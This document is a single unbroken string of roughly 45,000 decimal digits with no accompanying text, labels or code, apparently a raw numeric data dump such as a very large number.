184737648285154921036094649243085698592789255723407980908823437632876202860062773935267872130929119499769317162018901133405071019194654174429268925762675074825766387036162327530646159060737601737737825547492718696759993596555463477582857824176748032931351090058370383464324510859225082947182977843650078649385553767677683411946797030649460223819532800192039573645894208595358679266491464150902333502331285032798514597766433096967018163613680417761853401110888988573436871865047020434820241193322122075177525030880721674180191132639818748889262764249343312919573295305931000046166122140285516041117597956649199528806941093303653767243725184590544022213542695589720180068364355844018044794780861478860761047624581195495036911470402600588204548392597158801358987211598127639248571262077297077413238910862045598181568802888606800018901425323469953323583511877604591542123798251505579339967468565610591324688239694600139219000298919869968523840226841202287682275829616416302923550431585251937426147889923823577740904876139719953421371770261678163456469516536090724611515423279695350372571767988724912366297401127313770045701120667362152465158922102405074012522326481918058632801600612552198867114428080658529411189115151124840674196248544047264756114048611203586400731765086302250201714464888106322294718523867073187824068632160199514320725517509961264005204455229400195294708425054148709041097109609784410467583997858010058273615416404835257268697135394620851447544907580334960367858143375747428420982323987135564570574094539406240984500154773451643798803098867397833540152140284316054876733809216445392691688917813942907649426846881371940124494787032855928929167856298542280260635592743644809925787027409339004113283386839372837270894278624983332033931478071488141334760146506256869494960933848006629531550910481296184629663213689369503374566209641447530070119974083709910213742127248502034405212377958710624052972164686111638321731305591662221469406943619364441959399894750445001888967925701421386634422981148099507389555764421087053480690615131121672037623168070569560383652522033816652994711069676216551239211135071173056834043841827293234014084733504824126035455347522783913280373793597615702021526730307008704838648396241489471454070945351135464520510590256185590157720624944055522097272198350245186973216970266197971914192893705270139118329284938270161266609687899346800277020809125445468653435735022339535750845349316347063205175938241278178570478691432936641823354558947517154287185265920040748553979072142096376536801973195001832828729707928880890492135571399776497261080443565980091975252326373106504924912570088755298889271992542196938412675473443256414463346403588702040834036923193081015648485494649709934747162526254936986552442578700171131176036078803936929229529942885541789184324207906734868153112971417573924679453814720081839103649617910012015315499071001210755778922824508307498196202162860140201341716909332877010346749483204998580468430397401771188861052903147216461291403426275361789249059412568742040508947247616206517015147699735082405281207807632845870857867487927326973802871851234172072269727734533326462074781247086211298011542621778787142998135964308900930237201548009961706555570044897046914194663871689761203777208654664408005108294248808550928228898530794776882828800890525695018107619145458756308902869429614856458321592271185228751984807543288784373007775060470208914319295393456501138567177570540282707473887681650352561848521287194767602981881892397280756024364954323456672455559008715769890062991136160960970346328463523948388260038740017960129262241180397540265324173406057588571784851998377907942347118354989043207597509119212947194339976621835712787346213345106788355052741526700208997783456058908747895533532874850992009216750457858823860985578770974778857427375108082663314277519134791750941807893971023839477293205531345923866723198557079012007002602948029769259442732753809490753819336878341833181636569608024952816059181814006225738049899246746995959980569001221497754874193070640761470125389443483575251316657101753422628611054444873515984976988790116869045079542186282662635450358307811816956833332479093162408764078261599228499794490130907172789767960871617320362149408850364277220691065001117890330753577987197402655395718136362738847767202080148594322429714086166412522379790785701400751931515185038681821132510338032178978099636759793491135061065452602106050095131536391426240713352970953019292350017780184726637951945312335765803510074539844664960554750308561873956318373344809617912354234026655845337161146702752365677030818106206081288034200604324123228495256244586977984098613066809506030486246710675829105148708793920245266461487240163003696533833982276889332398095872821605990202805865054713757099747529414662377740289416585430323295405125182449868380147491387745030112250293956438785033759512987133489775524448493783048354066699690444049898497237778206844218570820503902333516041541567642353797852925268800547686194259710034787226878103305776543716793280775695182226316577206448851793285722133158013151547113219509040391188972442340113291172922726907936187108184297338158513354404898255687814937351594621802354441937273085091448682185114264382589162878769603515827136429299378561763262993743088724055718180212945349722033008735942364352176646672078399570145765230649153677863013296718565791736314754955457894309385140687928438765057648444396397959120164956562497131625968871247841353289765392579112224140323301207366274315586908685899614561728327857528352568376428099161776870256813294203572882885034804366041455436747962541348170611953495191942382341619949899469981399185921141821591711113036010667026145919876353082826329872612469194702643232835695379391420944568449662925325978618298102709137466326571567594975167666462223362817213252408188302196461914306228848538658162031655418801407754100240202887380999516246315580843576766242665153780307311640381770477511396627417412202820827110730264402155678779794070901779139183138728692240405176551263780920151542142783677779190006804807498064700489050627690973950988092245875572856168288676838461490386234762599954379849860865733419664375683958693650253916354623112918472859807745157684185703782673618778756812385809815859078874924295070741645271736110347268537817803329837038591934831460464921014011950659314341470313951404736444106889935586039022247500316336757636010079094097474055267161641866785978948746417262031987984572775963392067577023550977193162507898786610631187956706693056892406711385328723634887452498607968536349479903135838362240331032447729663914130755334650557615087716723576308500736868661510665412250132672132412059436181807184270817783577040800364709801513399246512440385147485839710546868363706169423594800690437959125115351419989276439915365805031854080200490870575441216949922784767627598185741245218820484316150914976748946522409317358122755299539868326735539179764561850688397091939667352532750833218441905868710750594002825303660238028858715894746852696059888483740449361637942906885393605242876428132815186816809337438763631151975912960268469677536646665400097527707450487016389674162541701672131753362658546459334619384907528294489025524672120602886544926741121078931402576381472176599128469406789116680963352133970425030024915840450099227323988858327948842184856985901745716983162144233111364480547829763851088491618605882882460257047696014795285765315722915244594160948975995677102782045822549675075516024854801320822131548979683072487473617926350005578394466700946890849003254112336334812834692714194647274484253512795437369796198925956308738147580141674685895528423467271734709340570055814685430318927477774573732237097181667630933469345600799027838128283033631693494925891937541069782775845436384713297638639857122617626138441716958434931155397808609090680029590506391991498427980931890772493756798607542620158064811484583790794149574316951882376196399487401318241289919393323000920521437988251393615153323846542860812933839547217867692512516800093121902706606413804635583358651933396597870941824534708714053561992067430339252097892043765210976200392916273079377041015233112645879353075111337845030294292433367205054072107046114453939488894802282433328918679002256941375873363917993266394629166856379859878039858009114872784361104226405397730447594793823932889061915678484121226524167839811825160769304817332412725392964838317313340314063233112403484035628439924598363235254348153829370947989514335940476810816931122195765045309724349370515321304880389133912345253533668713530125941314617966560928877127144764599333763699814400792617838541817874381684515647057284441759550546405815641836980052906165273253067135058844388574342144059993023105543875024471418187439428233225375756311748415847043251094235695733122220757460369387504255192126750246448511786758152220837376048984151963800163846946915817954147615067051984251718315191642457878173383937299700451870403601834831059031153120624918062159845697093369580572348920567984862001711166786221401502787032960876636071166388463962894246910300204407828884203261331741380220414185418954928724102785687733262375101251070517362560791315119154957514425967689150307272490460665213106583452592628221465744787341981327747374671690473300737660127465906659287711290211779353064017872830923282462640380974266406841577027057397919593027135488771305670917602472287851368656455463731140788947880811833198908720016518223964094248765205170401616575353917519299701628870604077200343816282286931738113239405458223193956209662753101727649411375037376803433641511872906362324467749591722101234976156610149550690746285039905391981869073576402580804432275335281993619989646429596014555062846044159083800765039007451582903502213746036155376845120378990347011147903136350655932920618735821458054210401205227932785854324144807896546749443081898839948369680658568874527155021960389963611877081485706856084240419448514688019945013741403929384986850531486715749224866805718517957593175103709440843345829270038077437974484927366516878500553486827950980892902323168727856407961144020241006618189343192134848453160376339983078368495459204579367605065114115060828318070669357297239998513845521625718159792697629731907962148254883102945417555455285478438684181903000829337129698440833748579330692146671319153738552525480391008836815227218316620857904705385356694885696476417132637398325305605003337470117611255273416095318286804264785128206605444116831750331122524514161143625597637078941916217856388623157833249649709803660596041925565171063259640887565005631930415205527184704581910944028176705876349099399854628493157390503239240806530960869567664640696830154516544039753916887677006433101384762815875025253972830518303020801401628254649501126404791043777230134659414092473574302958730887585738343057923596591397131159424171541034774807062625444173805547870746453855540461407798252686042368407114608944748115692466617428014371489730460823208181845364496405408736770003002990648334862101723922524862058341273958573739238359273623136029770013217082903130323000057976635671106374644242428252267645748308395135518295777623093309987444344160994092070428324659513545203674353437096172119546938173775512776599147349269184840502123548359759510414224068524336111901254708102119451956008724247955748591981369177767721522594969694016616560045392049625729403376655956472880332141019762012524883890055841573832134125817467421512822835000054313890178446091317579678921853942868286996416541794509965899088143041425693995737889711803328763026766620992113017233780865245400305202543702872114405156378914693911648178383708667227542517653293833415257590631023926469841156142013148922443814253265727342161642870562914884884775498375778405415459143996572917963697263470788555225104029237602648713673512697140330038665878617856970848250662453499441714496503737182672129034484808225777870264820669194316686375684105572149296925590881356275579980836098743495570599486221143156972581674156686096921882119010563361404156020450153479904955339932559306802525972426047389314704506539583094308523845916358075906970892614447923184830496000022636199096490006190299436014197724010758845825709826986278258398565912779863982982258321272471607735763253861831739373661428673346948947413591334790450667129484950062844351174385503867395096280392256870927704175548860658116175024514609925828473600196829590486731035783111031692650121543019727260457773227914066692891240091340796080470376707872241415883797422530993936963175426949914579676541376344269198224602065400136009103257685960301482894909058653106517204184263279505661820988482973745464229319209862368082379729162098058014096261334411311466417741998462567271690490286126404421983899868561555425758672619324378027056336002095937060135462461515466826473704369211314064830591433956376339998863507765520485481499009572301597217481484702872254877210484726495685972193269872137401047810754204994401373726975330384444248559617727537119807835945574080255308834101770718912163213757814722428791070606864145861118050450451233736916468189589134497013368710282928245038908699478452113294124990718490256127892236529459702582748907201347231933635660990386054768549573409368773755561744959410455634275260662314324241753417113557801242114595818574596132824883504600896711375685517082743653291440343599092507212630941086364004159991209884889148781111374931393503453786690133810719773797066042900174241662601402464273897146518583197411714724554663097026041936852720840921744197275865629044163950538260778815724459007865774520813086500338362037260447495001939170593313466286474058173888744024887775632196808354869735795806023263069723289065574080022830774468768483968601044385317479386907959216893238588791949429110475896907713245393794041440503643375833816016786573507961791146278001756365036035804256942451369708053194389135907155772819446216110028892100722484071930417607162905379444271407864031696134526787678098657276008366819223297543971004962761255104721618738166520336472513949567147467509750917241389587587725958081623781363937795237908325485042945131146633291285391195280432947924493184995749542944636039483618584965753930625732586244330033750826316805587243836862806631913879489208389056744026209757778836387720855928793062417068275829451983738666686714415331747402393429933660743906983560945907831523352224381211210221561895552251915628264157643936383907328301672000262485414822808797695370302196698776251641745200093217353775211888346525382786560633544237009663870542993582787911157515682436243027036267209446526694791259409526806756951054831286012706236055485903782637896440714934973379970382660882736487206267856123101287512002174663110330557414058078348350256693208368188229555722217298403606155193209619117188439028831091016196742674698860327339830850856171085331809111249034772617062036305877655684460364580787347739514156540512201122355743518717238575658597973586007033542325173685839574459304749579688936255857030447323044524807740079797652954396959424146721949847783222988647831663904218102549272951695387408883443275933035802899548947065131037314056123121551489366020079480027238214413028457532692032793823197922023281702272424278703201610877253442652791049624578194589034169895829457128544313334047558867708285723508137149048973768245600857229317597179711495968756192434902168320356699857541884351588132391105465298087918743377389303936747641714350338426756145470283231718486148685466945018931793871097695255590002252616627694035945872869593365774392026927317920038069526248750607736641848801070102401699294249046343356451584088098169055782532294387985311396841964680100866930514102383414450245974413145819716844270204378983128732284277779804905352328228119733217095894484053971490143341779103514282088717668049853580472172470238714867805564269552433841353808074739017696376231508430871240931997455775158344903173596846283189842362329698631674814038910688910291622501091432116787623683759333192944824881462303646474197702853239524849214805120674337355490613989317317519122464750357744119861536263811875107341523940073665373894982525740204585243484484496464025686989737049599139421104614095908254296019999120351715772895767437037938002059712939317692436515198878140667760222137777706265233307663840109622970131408852562672004675550226250817170234494967641166217709113912636570049570668730104781946722242411769546646891663628248476739830007191979708695687780727003261057096506250787904650508754528671184305846212729626926492220789828826880444526332933825703613612456349345480857033371522969109603859149045228793627269798744259852249483001080654742703745108506679777433300733460758047943272977555619221274553534763378472922621042001203845284041258687067058263040898223841784172643675365516397724640803546222540691254625705118181169908785552769920227338961497300266393758820100806807045676932008556842703032252648951731050502919930466147110101621788288102553598366710025105413362956509494881490889608021503885411017227370769988200229538656923876957201633324656072916295288913356582359587599220448850683686142008302207648860954150166349431587444005185390316344212880583345895346608552103759786811435378878568352909833288319569642628938919902336759058877387808419109298245025958494110447206243093188422500675277999235822027641894111557455255736058522845837140583098761644985936276889188377978496742518637068896936328241116363928083834352451186276621567925179407801769739237689437362333781179240079944822350180678434524146110559155245665359911485588692766480237652496876743207427469500092205535110632502776405710411543940048460994898797747807989450252935108278330575340277615988077191483040270904860806321327207561319847850907278137982523376098443939684075569069231555578138734596904634090769578194009372574010282462076802403801883610479332275611559614178797779535561839739045156454811997473088784669694894295419948014882871558627582148531423115051136807014593853736470091620306612602620406979771597629472825703176525863345844383105060784392974771599304244239822104058981356619118569823647181641725705485801811611334927250919114070166553320131713768700035747374984435723359926174623745775724375540279900296388249542115323364027199836237329544488856767878107880706714059738966873467082476724549971690405074541068230184071401409771215650097791363378719394924986870745484158789266021840990329992951730326121000688082030136555650829812889997127686915420071844502068555412246307706459703346852400207931569808719140557309198406403519596587989094262609590772774345776443176949556453018478737219645220947755176076735567981427786042478301699473324658190163431103948721910439496498456044751073862086234061906598620251427049146526234745982988416569539392433931980325540382146004750232309376810166748791912611674516177162090355242872328306944180488344433062286846927454306274515916379509601007002918067383855880242263888003364351226016433308916861432557608538285010353141791057335470488689155062204900118384270163358109155282899934704051512338548973733886608705739236922135456524447037690170229321874612142890088295763088932302151057911915172489451729200534326694247039364060816890283771031507849245721835416674852889381838366508924162638053708031095651514291503425523257975590733698802454884466380880083556513204094478793773554184497851368535499161412984779708149856647644115344222324273079381561672864867049802008275433174374211636520679276026813091896477366503011062227566387577996495645086428668860051391312122353414298175831024014639740911421864082133822245853882016207181437432521158364232181893554070294554165612782631760385014217010981573262475901537950362157701752531907682865307957392415016704102930357310727795271317874996129353546995583330263558700357147808519316457442647014498786545890345007130084354943204140780619191081945052864075769561117793169506946674310822094792609638268949578373521237130275433977825918006173439168215892935889890987113915723248684945714766165471726632221780250799821190330039116653746254278880095482707565973555690099988782329736796951809253412905044159932281942253245354480610544959323567084648840893214061021777831351846635019007952106045768607012232150051638764669551989818219527921881644773557702688109764142384458175104014882669283250111694314835957536324911096040462020340606802385519034044620469096886720005044453033288309008558458517966851332371246661772507606219229742033692238056691217265027213709108358271384227475897077842200698644760849791583532320392132714646044436415423134712282191076293271545947739581066174013982694545490503551153614846621853167948879163085141313864365840828159019632579662864493162135725786228531652994456580915911067504950755261719987809566251843392174744766033380452303596082987952410498014890580366319342032742920740279074579564434993513049454805060121575734620802497140921795337112275761315227898332748502361462439884450594896536035370392498913894271836874623711152896534867069709007131023406232448304191835337803807099601555388428081894366001267386180099670163385267918411122350008319474601955814326899096238507524862346851477758137217554093806472412854741514949730960407419793290589351307774641677307175277364209839608831232716556697211926379630698950300585287467126274019736490731657615227096167719585048687432229206082258330675769998325517300642962727361662146399418650073841478160855176167912871537328974090119268576377020618897166087651946521802712491421756957608082545107808583955033617499305809612796849118550187965621925065292488512226928017558434746937080798022642994440565338462089416986885464575413434986501444503359917814542601706502361870612795161185950193092975476577037330914983380486281420644636193910635652659604781058141408445498615030090121914096562557607996808362760479646720487438960127782962434593680430267934363448421800904550796758246204241886572310383288427875219073554676810235957166054942654912874757206093786657757290247631351059931864448881415453587242687009566515390246915609794948912667476280021027138171069609416612959333258003858275073078324114468881459605371191080692531914283381950530966889140596102471841772035854846847306171112481102596719525046001396121350407447156514088209518522340965254718848854704237073374979017172100352560002576785636648911017308966967563839689850579452587192587362722677082500293773583740143790030955534699288983491412736830042346418258490745850409099696243789509097582265137646474145852502275688638352560065617779838916479097027357592904981927936607170930774012483105870850997903376125410625463223710540176296301328764161613504803973627461894980686449741710964999556324851393254555192187264280113630412773883235895580218106809051292431393011454809795927494525007471137865579129502967451204048254355004426369093994346246852240940046580127289146294014522283707400117551048823184332784074231686386109371215346559200272992267022836118225029086168000771728028251036293634790307532580385852579811010089374385586368472832584545200101008876705107176173737057380848508487909066773835632148438711538664592000055632295350595554042782893336412633088230972828290053576637637077149081836785685657582807109352898858835957242455107087761465616509853509751344292645361291039284149469200736730202467575754373634116950745512797798397192174991041002463993062502221273193230949480700928075655458973064880118541469257613878506738960408310041869300069010622181565063471476693622698970503206458756728309436321692127047484027247134743797567621056022622830724724674634598501543011643281851303433725375565754261717769407594665607117506531652332937949884411600911674503651169071196117730828344470630706351723623250414684184672054462420602476822695061999413521647206438075786535156006076840227281904282751811880569997046943824483827223010868764578234509131195146837339091500599247507986820912631229934066184429632451360698209943355488989274669512211191154576163197034908014851003162532299850103909389509995715482785910308357469084890360816202249289812625177976409206519676394184594173277776037024377372736131736231267847403467803080544254909224981481098355355405266142796571471219454956408371778634523761721463147471535747049107346029225282672230595625558146684774164576014452127737501118823158124879191645466552551945745905716285650898711958303744845984419577637140515759168837369743478149078332949071557693518778879807721106917209206784290466621325747449103067951464261644528244341438222335990890892808160310702508281365200806769090163750440606233546350640227688955824692723330171871453181847530466036479681178957448565046579196972631959385119904068221990723825753374968595764809575312056384892265848108652392013849085452676752930347678260666939436259307036973309702510298182791719713052048337793979418636131202072267888846984372055712992144143194821542957876919905882005308060758055072591993919596477018416818848769156314330893564467469604847331562484460954003051221349581660680282861212266814263956987099906135232154866044521818796651325223888286831506865648942754168878071766390309729368609803382510961223845198535427458492984905136250081414220492722981974691109370327688879338710786016046538289073316079802801837203759537512105101173581613253831179779907410592111695257014302396744775460895889237699250095681885876485872948562686040072722274875495893591573527837855192763790500887538750273583655525300171099004667226465015538755014216801826623009167426462608120453717433997968690968273075531631731444528010246996902629179486174105456985696362531825486729864641604507318077939922304836261930119437166776387708736858036710523832653995182452352972546653867643392070972109595305734445166949446351182742791286100396865266776558424839975406715403490593749762192352141096305477969923070099654110287567098619557104533896461800844571788673796149557973898082728059782235793842748670604589098716866893891018330502985461917290069826841613370635684303634129817717732188158916450446169645177546201395990337882556905825556525479820375289952690537289622774596447426754204714977665996407131072139211003559517001456119250453519508526923486357145739604659756808756242214992699759845109483787465369147773819843810298988716843177501432933225618733542865127881549183172756407055154305472255772989866923185890548095134417626712197859815491569257639747846566351666172061121451931299433716618844309950173813965027002958276472585880809167358662710418394968964503640247057639045286332473164077533905698195990687812188865490612379268912739230295869532276350258674956701520894469269482861602742897591920788618134300115305968727578425402327790776268896308056263887936771917613078609940448652701373370741827140860751817105537099414026005954192478758977896096422700581406170781850880019134042413955314451069336328818083370220596802307801501343279570132911453927685092034140987502228473442520478554660980812539877838761521850602892096030130948855091364117507568091879008867438952738393870633675290398349722606775498591742530706379818726600550555895256092690092763903410010146645109576205578476157101971407773139525650365774305120850017988820847101625639818504976423564735173757139939579794906460032941380984905336061595576903086454796980775827348436792257819149205403183251820640669974823792435907104048347133790019336405981934245881238277231355910119748180746945098681099774926884594092819922608157576987090633713121151618787250480861572414250840897903242813172512792224067884382498115994085206827986474515102264832087541155525233124502060961491485304519155032838258208631443350152700887458848687327961909174100209824309913472764162742743976607745394657831193981517856372536538668057589590402334176997321333384809438108253752723252285795175050648450886058544230627093312611491969602306212134774999962124208278995126272615970331300594683867238679953694671302085450131581685756599030951611875258256163044394964948844678293936573548459276220681317305661618220479551255606319026460160084263380486058395678627123860631596105104048452456415209409488463567728114776199094892574926334940144775720619862965565287258304644988898425055291748099382498390076058595266071320508824352734603339704847775826753733111019773484803915496377865214894552187610762778496292877525366139136102377395557919455176328541885128153233578723767544587391368455592184602002469090662398253948460287667549202999432005769326778283593538577344039656213694222033621697903659629286569043562683388402193841815698344741425730438480817503939809822974683441890914277508784304088487003640634882441727695877841913071516374745620056958535451963337015475780366973821958534166493304965136133672121005968039869797909370718600355093661435513738960893336118826660728061833495686590765365172090384593804857213837958859508171481781394751917864148923590319948875661910938201247842814021720027126598546520884890030362850442582885050034324828543036711287126499969699735530580418836433824858455533291659744146570685259317987553169455786205170771940291857245684199181909727648682749005835417646824345239459168491077631906164602286612700302925192241272475545163645048976980719245107576276697410733483715610953722141635215174187112623641064464151477718729455495916113330076796862825340277528015142496057555699879297318088847954110407025025423722390645670502957133758230863698273622522057742444841202075633058300823579738744126589312069353573701666320002118279790171932261355666071323808870078098858978582774611393406365986061563093201078790339801432052250547390174419200084338337342303027075576784490223255822336620837131425751192754537352860024275472526081688643215543194766614841355041316138489986462322307636410013634369501913930065001038586363848773699831955329776156011268659363491951097174881677733588103172222202042788052090971094810451968042482187297121599220484673410139579644122532678908432600044523176493951223994197262028889924634926984061785831631672868242911289832119847705488004267193811979741837943811781975328653256645605623742031100818177609458137477863697944434317664872005336705268141482412255085782609869500127487166370515295488854928170662826925538567185516231705283710002999695844055385507050642700383217181383066260826410932168656143742189260215085581779953380623173730621908548174344071573061365201511195751772019687859203479357896926432287512083342579836962380585513653938563015734323187956899152633379749897682108944337635263707896477963986251082923279153487362342589958410098840901616613798772454930958976038145882363074343527056777305983170828028782008242865315137263150331908451501096528158501895715782685662083497451731079130456744216123001823410519278956979338583019839118794382385757399399361464976665971249395483699458501027719643447167123346854562651842011970509383882368469874062554102456706915267093167995160730172246767457689262659307453787673640031408260976918945422636559354334363660560832574943929480171361557834488623594155199933363371202075748182424941611381477906614655553850236319317368212015100645553367375230036785255229225176997077223403844549074467365466332625444442986454055345901271316560882067931480875397798132295856464646458571967277808037398660376779558518436064875924961399098124687454914021763768770919389692429477513139748102916399230100176994101253673642008741420811517141647622910168674853557909225296246802318127270888058929215550351370800575471115948595587243765081133718602870430743912373234604504288920723753653295077865736114813255448540169844585117985965290540950740984539381943732864494911574418423048269996364231468679864008707354064417815552775003439558439200002688213318721741460873654550530122205422949603059516808218690992291875798826110997373083486031359475600652856763953144528052957028238519636380869811581011171313364479145872365558582871102553687749406665820525037377466868083864292590160866495885655963725069060454585438619256220915301236298216931118015869281765022580980063894094070882971420682323639024740329028865482205734560344817745172107592789293883502367807359321132525868062672056003620199163100708825859019653878385224384660862403738203798071355617256724558561897083055354950675947258632435454048751058917322086271838969330022848822868855060732049705473980889205594523812204429691418821489781703232794569722796985864925146306641343541414852702227955708271897059580686928357507639361320781966881182466986949840543091135839539389373896663974342546189027900509575674375388498371275577511643424246232857347674145992658725040574664029400134848554214453594647070261245907112226560821041612127175433087973970973207815689408294232502373589437139284841795389064421473107588389010855241310395098258693340944819365090761757013567559152116258267503692457651405690516713007189808143307395341739522649581769073497658145079787796874945187930690017872347373489089871473261091992464953809765874161314298306957158808588641478203117063504554433076859897926864160098561412166277495484797463966134178852749795136983878662188668171629023006265145350695280054352679843309599087918602023114950858115195487284736531184834665368222166044118569291863243812211862523966233365157103394381688144120471529919020759226189911082157899928771499786358399815481099231658681692971557755438095507828639133548697851717814296408688382790561237296962324565350243783116525699174209211847131028508244619545594752673927919417150696352119356816758842171273219977228307317116997099903477042773913313820367151715746469770064643136538328803502594265587037267171836777309917842402175424069761478660411882834516044487124648712720951648074340878408548591942150690324182023022648019519631895748823111202630219998099344057292779869991655172505800149829162035966325301539780941487024499736521331668531205700171241648779887678790593104935999784801603618364466323919257959066151639607343182477374183288941199921237643458607967572254076352451974303403324928520336121280435409638509848549520009218655885908869934758835160096675327136348626025141418948755754727489020763823729598681346610864260240393739872807138035061531739063361490523374657503882230393187003861102091231510683157594845839705947163137631640009808523675975726997801719277857047633833265885241968672664367453952548554343122328513086500923371231374854414871486000685384694800143090709014714840260546641288627308751000705666317023950515715969560622513651122571917608859497952164660208785769428265823784851348658894167909728272326396633232165227395530590131903461410071597504309906730248487055880093006786729029264068798262031384537643837525396360829755607957415079970994714684596337033334804703859905779346152823088303581478770663919608405393824925245566638160779731679161482896992120152650660125288591370267887430124195315788315074881459895608440963662204611297151037489676019873136068248831027497074454175320971463775649397249881378957134877498841744240790037810494655666634451166978252586383249503023572096099104005034440650716019141739881680230731364350935623518858008410877697777201287564014651867108084151698042516518706926236163174718108838978085499332506514509146632301769363803233774299599107689062643529797677135311324767692938870449445687738475234412524537555189249235781492867189355448500661396553832204901702900465472838801490015046804867919418749680642476841463233919665153286425004976235998337494313441663338784719585458323621968121017032101921315111054727576728705386296523173833004785047181536541865674954562263535783214378345170129401433916251037641562056726862980707600951328365101355967269621372206075938640945518260774767036369275373911145159675924060215845960388577367276206729316611580691430193868871882447845781968909306706410935143705631687702870885110270950709578378221083413200327509738537248139727977614227980629768124463861780751970442681190138313638805103367939257739885996399104784705822583357367383318452725212797056586238999257406298430451573518617718463961934925849012288073452542520057153744190761500847896578170983848896494450961433736439577026581543606968465592956113920935347019589809959633055815970264665942992645492759104062236249321537446307887631270184218509446693445214926764142506808276593267522983389091257547215637485920267553407130875643830279539949699739959151088664279915433995584881192044232161849210905002163470265098896269278200837618618661430369053685320485355615742321550835083846294168497140443592502094466521680702185058082409043991048056172999170237217122043080790293063738034896384447174946285010382101302780483989777515006905223089081742609539939125535328434757948956336338456817966026731081588681671171018107401112280763811400820765089877333525601186300352971298191768415547135914544668239168787095477393721047201737522350874305079570053978609781944753880037189294044333519277059958782301406221562007385151388370925941417521636911751256271503861866700874443786087312686526300530822070592613162110546793331563327509616609332242773948941784241855026228024878376816502365582698676947935719033904807755765101813220316407108553685214126887111114094049975486031278396269902625977842842872246551014906339836839891822917996730640149373658446297219734471991348678032366909844453313633239979754997718728015571383101588100883838504327890709053757279990277137132929125040468701357738106140656447050900737474240657572186490490037133552132630500259240393909261047922764872894846038477922398659938217367040919135341835748120483647938632969231071196442311191939351033624463762768049154000197586619578592069263749256936098164544060672386417596018977682950833852903067488868182446554344292909316180218297127538530963178627840427188038931119329551426668315487652701057258092692853678101306765802135143375307244695694929642803225364634935355802090634468217400349569809980406540990519987962835678983501930057463564901246376023611264695107002725615976904196607340633122456571400667108731247812641261101868527041206537301217088187150173526492311768458582593424330276859588215009636764939706215030139208752232570221072839809944714894957800880342170541187488376720584488189356054823893407361585290187093483223684314916100085529885393227350291756407095929099225771577572278569035202456818859621327917328873643112655482990308405649468212315970801513933455171353287406394695842170194093600694259617990087560035331751171136179424745435658926512996140271852995903577675197409208113655327046529454768682515140798016848483070235878274795363278591471959790243033577518100698867716596082104895406989018639356779951912079293256976563370480370439061116815685516196673325612381065278402540016275555086551868042448790689523032356393311548877167934196197035607829613079369034188344250652549171147847971798984559663691821880157843062187999297959966391265361651043509054953408139914582644534925438472116292413755865473258933180000869208052993709051028035354700685840567377451486231913956082924771695800279072074643372554431583157059437761095069701829096210261499351951554719485219434734745751095843669980695411878729731229944233953062559042521819276346666125016675458524909567933664399377411594491921009182986529919668069585500597452985279944567964532020333580919624018778914261061522851978291305542914947767350114239141183274209036886407143551610029659178612818339801451540812403623171504453065229287174346223689589192333698676999057601135726526737640289056780077393841496352529446377471465884626817797013001556692847234248544716606134392522043795867094366175420079687468280323282921367559927213010886485363985088333289097355370146089179284708991671106504113893578856926785157657739285545935251705925402640386921148865769699442158055476823190027084204834486104158080823959300847650812278205580080890817595380635312897128272820977799394766612276726863380595772826189998113978068877113062360469506447031660301183862264751060350110419335554911593649708065999998540278929557833822440869253515588926396180854453316438807522061009793108234420366283735956450506260439295886395166481233349047806330430555283878904452833315075099442845370106944740615599680228044789290155808495548970526792921479860402686537859291008476448669082133326179620049209393183767795573119812054867342223525478604650346859688235377787751861515050627104033399877497153631944985888793389799951161957449323194337480418665448223998193257972838836432082774304748353895982743698572500516139800628971022437633011531087468130437947782192228540695772937984229118668088738024102291260149019859187511771798790531080156212716411592867611280388847713766421958395304824925199116325454991651137497048654476984985336425671475375198584434217363417843459807504158126724556850232343922584612968262286467147794986904745076620438345992689476746898309040657074753536784647133138572514148667592858244785205609666347503426288146949590429104680735820960501664808341275676847862265308601725425879903840782807507574295030934296535562238296875069695262793482283737425143192313230620167802878406956368252973021575167634486762138789742590268179261559140475000029491316341741959304012721694065798040334356372055783439926223595651670697090418892406277221205297831797758048854762815796706194654947707761796351187979342726918032453520550859775870002459257801596108224282737293287624037096304289624318153982949012971206744732949294995250853139079225749089025638036641194851092067057503908948489046024851300993381087846332189865146128111237881357048576248165854612973480877221103716910145666604003444211966772742111943025756784341864619966783288767092579315048639212464458950878092704547293677196044740296137058266836592930864099461340036550612622052440427163991364775012086531688338604370226999963539170856626735901096299586647242137631726795907100641199385160762723836878016198083348316004199257739693461180395328067711192705718340933889149165238326579228430365425202107916731276363279187594511544850652303945967571460194092364811903459473979464917856820644819033910657541902428417405934859282914477176213972617331183719048599072430895052021905634996165806050830867463250896692696540913626227487885960344933388666722824631976354127681309377002439034121744167768127948928900346373838623321329857069076347522935875139867789004010294416537146264493619718179972278144621809853095898364264028612761359674857844786134912251896940627361565105240181686814681780424197524640673044006355953390620338067590809402669401202817244578343857214625612903860389582473347540012141114129568150331814555506308009097335888898971740188081325607832852269639918693529142352174232921805196376028488839710504471245422062240837062366581423342680191325650474193071297912047411280341287106542916421536086278833120522852292695237596957880164732823131862262583977830450908332058233910844443497387853784939344604460172026443081547038584448773763612536911120540706740182576927239491516501679812120035552329729546750587513817645690412211218946042404315886470426726001422402029459662133719179756094376439513736486397791652301146999540182610678202286128042707620594259127219684512479222824163011501981667328729897182935370728043879768005594839269171933495245736173295955369091639555000083976279878485517381659962595984256005029563662146777016711066268659374431275830040088651073754817143998965963399862693799341214688684033288495381351092233059890023363258490513658867497963210026678786673238440407223583023893663561519012579037246960420831689611433410325655202836353095397890723901563230414008457909288023295072522330761747958871002478860394126719772542868031238663177009070568808664234774009969739283363294322374719328185522212304449194071579793645116459934661454585084180078302251956304054744620727816885442450038313571349778430436028765879705511646649450491181305336538697097176875173401230428386255489901062615772665529271058689060795791597431259629143131726371713126962561894679390938358803469184188308029774953515356878451190106899969778107349434365971662960906318480533459406572314809572380279384068687031002446066614567695500062873015777365323132864511882933108170947597154178010188573845333489903474008438602968212805802800979548554496874314381667152741636836013702476992818194343800753217707150981194035188433260176512021682382907380143953771944309544112395829771881859706925761380079279419044888747675594263565617218160396872837343412728262002293623515315704673654393198262496645645074281220271235896351661492390328119479580631121647455347281016976056585258819046451079273094765086327743195632722505428020070535207911228003386805065467561664524408485517474552715893105422694950673841933023975874943048546892526009463465866774012917244808223343888614193630897064834269662209209877784100878593448108651376947085309718484743996093499883573165954027664875197334503824160833623311468965965554478268561957119154188858697634737789517132802448826239053987097569397437718026676322938113233122040242876074581931128451706180128023972838193959893458587435170252662599851457956503129246786098245079550897730995727456299233799922101200152053259351365659549701970426671800770148990959499073308808159833871236970450903101738098361765214980427761652092255864015942722331365165609734552344851998528730984623233215777720564086938681776843447737690492630194508781800799965824589207870480932248868752755948435100808855316499023169552458865121199966056521816475712656386233560964511367434036281199184889220315216140397403273128539524131185138610917083010741378222873218746905529018690682405611776786253145147530782635